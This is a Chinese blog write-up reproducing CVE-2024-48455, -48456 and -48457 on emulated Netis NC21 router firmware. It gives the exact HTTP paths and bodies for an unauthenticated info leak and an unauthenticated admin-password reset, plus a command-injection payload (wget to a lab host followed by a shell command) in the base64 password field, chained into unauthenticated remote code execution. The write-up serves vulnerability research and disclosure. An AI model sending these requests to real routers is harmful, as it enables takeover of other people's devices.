Netis路由器未授权RCE复现
2025-01-18 10:32:08

Netis路由器未授权RCE复现

漏洞编号:

CVE-2024-48455、CVE-2024-48456 和 CVE-2024-48457

参考链接:

https://github.com/h00die-gr3y/h00die-gr3y/issues/2

固件

netis_NC21_V3.0.0.3800.bin ( https://www.netisru.com/support/downinfo.html?id=40 )

文件系统提取:

binwalk -Me 【file】

image-20250114232544632

模拟运行

模拟工具:firmware-analysis-toolkit

搭建环境:

  • Win11
  • AttifyOS[192.168.121.151]
  • firmware-analysis-toolkit[192.168.1.1:80]

模拟固件:

./fat.py Netis\(NC21\)-V3.0.0.3800.bin

由于我需要在Win11进行后续复现,所以做了端口转发:

sudo iptables -t nat -A PREROUTING -p tcp --dport 1234 -j DNAT --to-destination 192.168.1.1:80
sudo iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.1 --dport 80 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -p

模拟成功:

在进行一系列初始化后到登陆页面

image-20250116232813270

漏洞复现

CVE-2024-48455

随便抓个包,此处为在登陆页抓了一个:

image-20250116233834647

触发漏洞POST需修改

  • 请求路径

    POST /cgi-bin/skk_get.cgi HTTP/1.1
  • 请求体

    mode_name=skk_get&wl_link=0

image-20250116234100716

发送POST请求即可触发漏洞获取路由器的所有信息,此漏洞无需进行任何的身份验证

image-20250116234038456

CVE-2024-48456

这个漏洞是发生在[工具]-[管理员密码]

image-20250116232915019

抓个修改管理员密码的请求

image-20250116233248940

触发漏洞POST需修改请求体字段值

  • password
  • new_pwd_confirm

改为:注意此处为要取新密码得base64值

image-20250116233347946

也就是此处我管理员的新密码就为

`wget http://192.168.1.2:8000;ip a > /test`

修改后请求:

image-20250116233435830

在Attfiy开一个http服务器,此处只要你模拟的路由器能访问到即可

image-20250116233447682

放行请求:http就发现被路由器请求了,也就是字段中的值被执行了

wget http://192.168.1.2:8000

image-20250116233523704

观察模拟环境:

image-20250116233516761

于模拟环境中查看;后续命令 ip a > /test 执行情况:执行成功

image-20250116233554515

漏洞为授权的命令注入

漏洞成因为**/bin/scripts/password.sh**,这是一个软链接,指向cscripts,为一个ELF,password.sh于GUI中执行调用,也就是GUI程序使用这个作为password命令进行新密码的修改

image-20250117011126051

IDA分析,可根据上述模拟环境提供的字符串定位

image-20250117011356652

交叉引用定位函数:

image-20250117011447874

RunSystemCmd是一个库函数,来自libapmib.so

image-20250117011743796

直接就是system执行了,当然对拼接符号不做限制,上述用的是单引号,用分号这些效果一样:

使用分号例:

image-20250117012628344

触发漏洞执行命令:

image-20250117012503773

image-20250117012521904

CVE-2024-48457

与CVE-2024-48456抓包一样即可,抓一个登陆包,改一下请求路径和请求体:

请求路径:

POST /cgi-bin/skk_set.cgi HTTP/1.1

请求体:

注意值也是需要base64处理

image-20250116234528719

修改字段为wpaPsk和password字段

wl2g_idx=6&wl5g_idx=0&wlanMode=0&wl_idx=0&ssid2g=bmV0aXMtMDAwMDAw&ssid5g=bmV0aXMtMDAwMDAwLTVH&encrypt=4&wpaPsk=Q2xvc3VyZQ==&wpaPskType=2&wpaPskFormat=0&password=Q2xvc3VyZQ==&autoUpdate=0&firstSetup=1&quick_set=ap&app=wan_set_shortcut&wl_link=0

发送请求并收到回复

image-20250116234417135

此时管理员密码已经被重置为你使用base64的值,我此处为Closure,即可登陆路由器

image-20250116234514379

此漏洞为未授权初始化设置路由器密码可随时重复请求导致的获取管理员权限,此漏洞配合CVE-2024-48456即可实现未授权命令执行